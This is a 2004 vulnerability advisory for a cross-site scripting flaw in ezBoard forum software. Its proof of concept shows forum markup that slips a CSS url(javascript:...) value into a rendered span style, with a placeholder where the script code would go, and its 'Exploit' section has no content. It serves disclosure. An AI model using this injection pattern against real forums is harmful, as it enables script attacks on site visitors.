ezBoard Cross Site Scripting Vulnerability

[Cheng Peng Su]

################################################## ######

Advisory Name:ezBoard Cross Site Scripting Vulnerability
Release Date: Feb 24,2004
Application: ezBoard
Version Affected: 7.3u or lower?
Vendor URL: http://www.ezboard.com/
Discover: Cheng Peng Su(apple_soup_at_msn.com)

################################################## ######

Proof of Concept:
This vuln is from ,ezBoard doesn't filter illegal characters ,such as ';()

[font color=red;background:url(javascript:{XSS code})]hey will show
<span style="color:red;background:url(javascript:{XSS code});font-size:small;">hey</span>

and

hey will show
<span style="font-family:Verdana;background:url(javascript:{XSS code}));font-size:small;">hey</span>


Exploit:
Big Exploit!
Big Exploit!


Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China